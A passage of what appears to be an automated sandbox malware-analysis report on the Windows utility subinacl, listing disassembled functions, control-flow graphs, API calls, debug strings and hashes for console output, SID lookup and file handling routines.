                                                                                                                  • Instruction Fuzzy Hash: 3D51E5B2900208DFCB25DFE9D9888EEBBFDFF48300B14452AE586E7250DB35A945CB50
                                                                                                                  Function 0103004F Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 166COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1379 103004f-1030070 call 103e368 1382 1030162-103017c call 102e601 call 102f894 1379->1382 1383 1030076-1030092 #535 1379->1383 1395 103018f-1030196 call 102e7ac 1382->1395 1396 103017e-1030183 1382->1396 1385 10300b7-10300e2 #4197 call 102cdbf call 101d5f3 1383->1385 1386 1030094-10300b2 1383->1386 1398 1030120-1030127 1385->1398 1399 10300e4-10300f6 call 102e697 1385->1399 1386->1385 1404 103019b-10301a0 1395->1404 1400 1030214 1396->1400 1401 1030189-103018a 1396->1401 1406 103014a-103015d #800 * 2 1398->1406 1407 1030129-1030134 SetLastError 1398->1407 1413 103011b-103011e 1399->1413 1414 10300f8-1030116 1399->1414 1405 1030217-1030238 #800 call 103dee7 1400->1405 1401->1400 1410 10301a2-10301a9 1404->1410 1411 10301ab-10301bb call 101d5f3 1404->1411 1406->1382 1408 1030136-1030145 #800 1407->1408 1408->1405 1415 1030204-1030211 #535 call 102f553 1410->1415 1420 10301f6-1030203 1411->1420 1421 10301bd-10301ce call 102e7ac 1411->1421 1413->1408 1414->1413 1415->1400 1420->1415 1421->1420 1427 10301d0-10301f4 #535 call 102f553 call 102edd7 1421->1427 1427->1401
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 01030054
                                                                                                                  • #535.MFC42U(0000003E,00000001,00000002,00000001), ref: 0103007D
                                                                                                                  • #4197.MFC42U(0000003E,00000001,00000002,00000001), ref: 010300BA
                                                                                                                  • SetLastError.KERNEL32(00000539,?,010014DC,?,?,0000003E,00000001,00000002,00000001), ref: 0103012E
                                                                                                                    • Part of subcall function 0101D5F3: wcscmp.MSVCRT ref: 0101D5FD
                                                                                                                    • Part of subcall function 0102E7AC: __EH_prolog.LIBCMT ref: 0102E7B1
                                                                                                                    • Part of subcall function 0102E7AC: #540.MFC42U(00000002,?,?), ref: 0102E809
                                                                                                                    • Part of subcall function 0102E7AC: #2755.MFC42U(0000005C,00000002,?,?), ref: 0102E817
                                                                                                                    • Part of subcall function 0102E7AC: #858.MFC42U(?,0000005C,00000002,?,?), ref: 0102E82C
                                                                                                                    • Part of subcall function 0102E7AC: #2910.MFC42U(00000000,?,00000032,00000000,00000400,?,?,0000005C,00000002,?,?), ref: 0102E851
                                                                                                                    • Part of subcall function 0102E7AC: #2910.MFC42U(00000000,00000000,00000000,?,00000032,00000000,00000400,?,?,0000005C,00000002,?,?), ref: 0102E85E
                                                                                                                    • Part of subcall function 0102E7AC: LookupAccountNameW.ADVAPI32(00000000,00000000,00000000,00000000,?,00000032,00000000), ref: 0102E864
                                                                                                                    • Part of subcall function 0102E7AC: #861.MFC42U(00000000,?,?), ref: 0102E877
                                                                                                                    • Part of subcall function 0102E7AC: #942.MFC42U(01001514,00000000,?,?), ref: 0102E883
                                                                                                                    • Part of subcall function 0102E7AC: #940.MFC42U(?,01001514,00000000,?,?), ref: 0102E891
                                                                                                                    • Part of subcall function 0102E7AC: #4197.MFC42U(?,01001514,00000000,?,?), ref: 0102E898
                                                                                                                    • Part of subcall function 0102E7AC: #4197.MFC42U(?,01001514,00000000,?,?), ref: 0102E89F
                                                                                                                    • Part of subcall function 0102E7AC: #800.MFC42U(?,?), ref: 0102E8B1
                                                                                                                  • #800.MFC42U(?,?,010014DC,?,?,0000003E,00000001,00000002,00000001), ref: 0103013D
                                                                                                                  • #800.MFC42U(?,010014DC,?,?,0000003E,00000001,00000002,00000001), ref: 01030151
                                                                                                                  • #800.MFC42U(?,010014DC,?,?,0000003E,00000001,00000002,00000001), ref: 0103015D
                                                                                                                  • #535.MFC42U(?,?,?,?,?,010014DC,00000002,?,00000002,00000002,00000001,00000002,00000001), ref: 010301D7
                                                                                                                    • Part of subcall function 0102F553: __EH_prolog.LIBCMT ref: 0102F558
                                                                                                                    • Part of subcall function 0102F553: #800.MFC42U(?,?,?,?,0102FE92,?,?,?,?,010014DC,?,?,?,010014DC,00000001,00000002), ref: 0102F5B9
                                                                                                                    • Part of subcall function 0102EDD7: #858.MFC42U(010014A0,010014DC,?,01001510,0102FA4B,?,?,?,?,?,010014DC,?,?,010014DC,010014DC,?), ref: 0102EDED
                                                                                                                  • #535.MFC42U(?,?,?,010014DC,00000002,?,00000002,00000002,00000001,00000002,00000001), ref: 01030204
                                                                                                                  • #800.MFC42U(00000002,?,?,?,010014DC,00000002,?,00000002,00000002,00000001,00000002,00000001), ref: 0103021B
                                                                                                                  Strings
                                                                                                                  • --- DEBUG SidFactory::LookupAccount Found = , xrefs: 01030100
                                                                                                                  • --- DEBUG SidFactory::LookupAccount using OffLine sam = , xrefs: 0103009C
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #800$#4197#535H_prolog$#2910#858$#2755#540#861#940#942AccountErrorLastLookupNamewcscmp
                                                                                                                  • String ID: --- DEBUG SidFactory::LookupAccount Found = $--- DEBUG SidFactory::LookupAccount using OffLine sam =
                                                                                                                  • API String ID: 1683914480-1924730002
                                                                                                                  • Opcode ID: c20567f65207412d0b3d041c232d47fef1ec68655a5ef6fb4bf38793f5dc2c55
                                                                                                                  • Instruction ID: 5cc80e20ccd1446014a266db7848a00264bdcc3f3a349ab5d7f9e086484581f9
                                                                                                                  • Opcode Fuzzy Hash: c20567f65207412d0b3d041c232d47fef1ec68655a5ef6fb4bf38793f5dc2c55
                                                                                                                  • Instruction Fuzzy Hash: B751B671A00219DFDB55EFE8C984AEEB7BDBF98300F004159F58697288DB749A05CB61
                                                                                                                  Function 0101CB5C Relevance: 10.6, APIs: 7, Instructions: 55COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1490 101cb5c-101cbe3 call 103e368 #538 #823 * 2 GetStdHandle * 2 GetConsoleScreenBufferInfo 1493 101cbe5-101cbe9 1490->1493 1494 101cbed-101cbfd 1490->1494 1493->1494
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 0101CB61
                                                                                                                  • #538.MFC42U(010014DC,00000001,?,00000001,00000000,/playfile,00000004,00000000), ref: 0101CB7F
                                                                                                                  • #823.MFC42U(0001E002,010014DC,00000001,?,00000001,00000000,/playfile,00000004,00000000), ref: 0101CBA3
                                                                                                                  • #823.MFC42U(0001E002,0001E002,010014DC,00000001,?,00000001,00000000,/playfile,00000004,00000000), ref: 0101CBAC
                                                                                                                  • GetStdHandle.KERNEL32(000000F5,010014DC,00000001,?,00000001,00000000,/playfile,00000004,00000000), ref: 0101CBCA
                                                                                                                  • GetStdHandle.KERNEL32(000000F5,?,?,00000001,00000000,/playfile,00000004,00000000), ref: 0101CBD8
                                                                                                                  • GetConsoleScreenBufferInfo.KERNELBASE(00000000,?,00000001,00000000,/playfile,00000004,00000000), ref: 0101CBDB
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #823Handle$#538BufferConsoleH_prologInfoScreen
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3315392054-0
                                                                                                                  • Opcode ID: c9f1c13a9e614124e8163afa4dd005fa585c430a68498c2825fd6ce5d6ebffbe
                                                                                                                  • Instruction ID: 690b3aa76e8d65da0aad0ca7bd8c2fc9f124f79f5938b890db24b6cb901c7c1b
                                                                                                                  • Opcode Fuzzy Hash: c9f1c13a9e614124e8163afa4dd005fa585c430a68498c2825fd6ce5d6ebffbe
                                                                                                                  • Instruction Fuzzy Hash: F011FB71900705DFD720AF6AD884A8AFBF8FF99710B104B2EE096D7650D774E944CB54
                                                                                                                  Function 0103CF3F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 158COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1495 103cf3f-103cf55 1496 103d0eb-103d0f5 call 103dee7 1495->1496 1497 103cf5b-103cf86 call 1035405 swprintf 1495->1497 1502 103cf89-103cfa2 1497->1502 1502->1502 1503 103cfa4-103cfb9 swprintf 1502->1503 1504 103cfbc-103cfd5 1503->1504 1504->1504 1505 103cfd7-103cfde 1504->1505 1506 103cfe0-103cfe9 1505->1506 1507 103d00e-103d02c call 1035405 swprintf 1505->1507 1509 103cfeb-103cffb 1506->1509 1510 103cffd-103d000 1506->1510 1513 103d02f-103d046 1507->1513 1511 103d006-103d00c 1509->1511 1510->1511 1511->1506 1511->1507 1513->1513 1514 103d048-103d04f 1513->1514 1515 103d051-103d059 1514->1515 1516 103d07e-103d08f swprintf 1514->1516 1517 103d05b-103d06b 1515->1517 1518 103d06d-103d070 1515->1518 1519 103d092-103d0a7 1516->1519 1520 103d076-103d07c 1517->1520 1518->1520 1519->1519 1521 103d0a9-103d0b0 1519->1521 1520->1515 1520->1516 1522 103d0e2-103d0e4 call 103cd59 1521->1522 1523 103d0b2-103d0b8 1521->1523 1528 103d0e9-103d0ea 1522->1528 1525 103d0ba-103d0ca 1523->1525 1526 103d0cc-103d0d4 1523->1526 1527 103d0da-103d0e0 1525->1527 1526->1527 1527->1522 1527->1523 1528->1496
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 01035405: __EH_prolog.LIBCMT ref: 0103540A
                                                                                                                    • Part of subcall function 01035405: #535.MFC42U(?,00000000), ref: 01035458
                                                                                                                    • Part of subcall function 01035405: #4197.MFC42U(?,00000000), ref: 01035463
                                                                                                                    • Part of subcall function 01035405: #535.MFC42U(?,01001510,?,?,00000000), ref: 0103548E
                                                                                                                    • Part of subcall function 01035405: #535.MFC42U(?,?,01001510,?,?,00000000), ref: 0103549E
                                                                                                                    • Part of subcall function 01035405: #538.MFC42U(010014DC,?,?,01001510,?,?,00000000), ref: 010354AF
                                                                                                                    • Part of subcall function 01035405: #2910.MFC42U(00000000,010014DC,?,?,01001510,?,?,00000000), ref: 010355C4
                                                                                                                    • Part of subcall function 01035405: #2756.MFC42U(00000000,00000000,010014DC,?,?,01001510,?,?,00000000), ref: 010355CD
                                                                                                                    • Part of subcall function 01035405: #922.MFC42U(?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000,00000000), ref: 010355E9
                                                                                                                    • Part of subcall function 01035405: #858.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 010355F6
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 01035602
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 0103560E
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 0103561A
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(00000000,?,?,?,00000000,00000000,00000000,?,00000002,00000000,?,00000002,00000004,00000000,?,00000000), ref: 01035625
                                                                                                                    • Part of subcall function 01035405: #800.MFC42U(?,00000000), ref: 01035648
                                                                                                                  • swprintf.MSVCRT(?,%8d,00000002,?,00000001,01001510,00000000,?,00000000,/playfile,00000004,00000000), ref: 0103CF7B
                                                                                                                  • swprintf.MSVCRT(?,%8d,?), ref: 0103CFAC
                                                                                                                  • swprintf.MSVCRT(?,%8d,000000FF,?,00000001), ref: 0103D021
                                                                                                                  • swprintf.MSVCRT(?,%8d), ref: 0103D085
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #800$swprintf$#535$#2756#2910#4197#538#858#922H_prolog
                                                                                                                  • String ID: %8d
                                                                                                                  • API String ID: 4283975728-2626110627
                                                                                                                  • Opcode ID: 128db9bd5d15eaac44a9a5cb671c008e557a6c5b04910238f8e008624092e989
                                                                                                                  • Instruction ID: 760780b26fe0834c53726d2ea634f5ccb665801387a4f111df69a5e6622de4a1
                                                                                                                  • Opcode Fuzzy Hash: 128db9bd5d15eaac44a9a5cb671c008e557a6c5b04910238f8e008624092e989
                                                                                                                  • Instruction Fuzzy Hash: 50518D706007068BCB24DF58C590AAEB7F9FF88704B40496DD692DB751EB36E946CB80
                                                                                                                  Function 0101D34C Relevance: 6.0, APIs: 4, Instructions: 29COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1529 101d34c-101d371 call 103e368 call 101d247 1534 101d373-101d379 #825 1529->1534 1535 101d37a-101d37f 1529->1535 1534->1535 1536 101d381-101d387 #825 1535->1536 1537 101d388-101d3a0 #800 1535->1537 1536->1537
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 0101D351
                                                                                                                    • Part of subcall function 0101D247: fclose.MSVCRT ref: 0101D25A
                                                                                                                    • Part of subcall function 0101D247: #861.MFC42U(010014DC,00000001,?,0101D36C,00000000,?,0103BC6E,?,?,?,00000004,?,?,0101B0F8,action|?> ,0101B134), ref: 0101D274
                                                                                                                  • #825.MFC42U(?,00000000,?,0103BC6E,?,?,?,00000004,?,?,0101B0F8,action|?> ,0101B134,00000000,00000000,00000000), ref: 0101D374
                                                                                                                  • #825.MFC42U(?,00000000,?,0103BC6E,?,?,?,00000004,?,?,0101B0F8,action|?> ,0101B134,00000000,00000000,00000000), ref: 0101D382
                                                                                                                  • #800.MFC42U(00000000,?,0103BC6E,?,?,?,00000004,?,?,0101B0F8,action|?> ,0101B134,00000000,00000000,00000000,01001510), ref: 0101D38F
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #825$#800#861H_prologfclose
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1175585050-0
                                                                                                                  • Opcode ID: 4ce1ce899b83fd9f82b328f85860a2885963f02821b3994f9ea8b6c3ed0530ef
                                                                                                                  • Instruction ID: 8eb7ba2a2adc6b13d1b7149111194d1a519a5436f74bfa490837f1c3314165f9
                                                                                                                  • Opcode Fuzzy Hash: 4ce1ce899b83fd9f82b328f85860a2885963f02821b3994f9ea8b6c3ed0530ef
                                                                                                                  • Instruction Fuzzy Hash: E9F058719117129BDB28EFB8D4047DAB3E8AB68321F008B5EE0E293580CB74D9008710
                                                                                                                  Function 0101D095 Relevance: 4.6, APIs: 3, Instructions: 60fileCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1538 101d095-101d0ae 1539 101d0b0-101d0b5 1538->1539 1540 101d116-101d11a 1538->1540 1541 101d0b7-101d0bf 1539->1541 1542 101d0da-101d0dd 1539->1542 1543 101d0c1-101d0c5 1541->1543 1544 101d0c7-101d0d8 fwrite 1541->1544 1545 101d110-101d113 1542->1545 1546 101d0df-101d0e7 1542->1546 1543->1540 1543->1544 1544->1545 1545->1540 1547 101d0e9-101d0f9 WriteConsoleW 1546->1547 1548 101d0fb-101d10a WriteFile 1546->1548 1547->1545 1547->1548 1548->1545
                                                                                                                  APIs
                                                                                                                  • fwrite.MSVCRT ref: 0101D0CF
                                                                                                                  • WriteConsoleW.KERNELBASE(?,?,?,?,00000000,?,00000002,00000000,?,0103BA6D,00000001), ref: 0101D0F1
                                                                                                                  • WriteFile.KERNEL32(?,?,?,?,00000000,?,00000002,00000000,?,0103BA6D,00000001), ref: 0101D10A
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Write$ConsoleFilefwrite
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1664599989-0
                                                                                                                  • Opcode ID: 7678c85be7fc28a4ea6ccb21fbc503a372f9777c9f52296834e66f07dbf2045e
                                                                                                                  • Instruction ID: d270e4f5d1f94858587a6878ea217026f9e29cf4a2d7c8d7873b1405592516ce
                                                                                                                  • Opcode Fuzzy Hash: 7678c85be7fc28a4ea6ccb21fbc503a372f9777c9f52296834e66f07dbf2045e
                                                                                                                  • Instruction Fuzzy Hash: BD114FB2600605AFD7358FA8C8C8DAB77F9EB843407144A7EF68283544D775E988CBA0
                                                                                                                  Function 01032F84 Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 01032F89
                                                                                                                  • ??0?$basic_ios@GU?$char_traits@G@std@@@std@@IAE@XZ.MSVCP60(00000000,00000000,?,?,010340D2,00000001,00000000,00000000,/playfile,00000004,00000000), ref: 01032FB8
                                                                                                                  • ??0?$basic_stringstream@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@H@Z.MSVCP60(00000003,00000000,00000000,00000000,?,?,010340D2,00000001,00000000,00000000,/playfile,00000004,00000000), ref: 01032FD8
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: U?$char_traits@$??0?$basic_ios@??0?$basic_stringstream@G@2@@std@@G@std@@G@std@@@std@@H_prologV?$allocator@
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2840036378-0
                                                                                                                  • Opcode ID: caf4031e04e0e920f24ab22eaca52caa624baf1b51c34b5e95c97f1f98900769
                                                                                                                  • Instruction ID: 8eb153a70a92939a65bd9700be538a9bf6ebb4d25afd1a9d55ba73e670c4404c
                                                                                                                  • Opcode Fuzzy Hash: caf4031e04e0e920f24ab22eaca52caa624baf1b51c34b5e95c97f1f98900769
                                                                                                                  • Instruction Fuzzy Hash: B1015AB1A00314DFE716CF94C5487AEFBF8FB98705F00855DE192A7680CBB89A01CB90
                                                                                                                  Function 0101E01D Relevance: 4.5, APIs: 3, Instructions: 25COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1556 101e01d-101e04a call 103e368 1559 101e053-101e06e #800 call 1023934 1556->1559 1560 101e04c-101e04d CloseHandle 1556->1560 1562 101e073-101e07f 1559->1562 1560->1559
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 0101E022
                                                                                                                  • CloseHandle.KERNELBASE(?,?,?,01034F20,01001510,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?), ref: 0101E04D
                                                                                                                  • #800.MFC42U(?,?,01034F20,01001510,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000), ref: 0101E063
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #800CloseH_prologHandle
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3138414786-0
                                                                                                                  • Opcode ID: fac1d103e742ff40a65a6e0a4812efe650d29c4497a7e4b5fb176ba42ada2fe0
                                                                                                                  • Instruction ID: a86aa596d2ecaa0046357f96590b51328c1b5bfe60d2572573728a51294e2e2a
                                                                                                                  • Opcode Fuzzy Hash: fac1d103e742ff40a65a6e0a4812efe650d29c4497a7e4b5fb176ba42ada2fe0
                                                                                                                  • Instruction Fuzzy Hash: 8DF0FE705107969BDB2AEF64C4047EDB7E8BF49315F00464DE4E6A7284CB749A44CB50
                                                                                                                  Function 01038174 Relevance: 3.1, APIs: 2, Instructions: 51COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 01038179
                                                                                                                  • #823.MFC42U(?,?,00000002,00000000,?,0103BCD4,00000000,00000000,01001510,00000003), ref: 010381B5
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #823H_prolog
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1233609670-0
                                                                                                                  • Opcode ID: 67a176a756792668257d90ea2e0d7f8ed2859fe0ecd7c7ad72d9067d3d95feca
                                                                                                                  • Instruction ID: b0614bf7efe9057625286bad131c120ef6ba0968d2fa5827810f553c3a27496f
                                                                                                                  • Opcode Fuzzy Hash: 67a176a756792668257d90ea2e0d7f8ed2859fe0ecd7c7ad72d9067d3d95feca
                                                                                                                  • Instruction Fuzzy Hash: 9301B5B2B002149BE7109F59CDC1A9ABBE9FBD8354F14827EF589EB240D634D9058690
                                                                                                                  Function 0103CD59 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • WriteConsoleOutputW.KERNELBASE(?,?,?,0103D0E9,?,?,?,?,0103D0E9), ref: 0103CD9A
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ConsoleOutputWrite
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1925201070-0
                                                                                                                  • Opcode ID: 35e4cbd013c08e8daf754a23d3175324fb9a1873c4b053f35149b397b909c0fd
                                                                                                                  • Instruction ID: 245d94acecfb5f2fd43c767d85bc6a22b4aec77f8407c264c4d815bfde70957f
                                                                                                                  • Opcode Fuzzy Hash: 35e4cbd013c08e8daf754a23d3175324fb9a1873c4b053f35149b397b909c0fd
                                                                                                                  • Instruction Fuzzy Hash: 2EF0AC2881020DFACF01DBE4D5054ADBBB5FF58304F109198D41467221E3768616DB5A
                                                                                                                  Function 01023900 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • #825.MFC42U(?,00000000,?,01001510,01023943,?,0101E365,?,?,01034EE4,01001510,00000000,?,00000000,?,?), ref: 01023916
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #825
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 41483190-0
                                                                                                                  • Opcode ID: 8695959943596611f5a34923991a1fca96a519ef5066326c352ec3af40d77b93
                                                                                                                  • Instruction ID: d512104d8d4c3719dd779b02f2dded6857a04432ac85704d627c30cd0ec5b01e
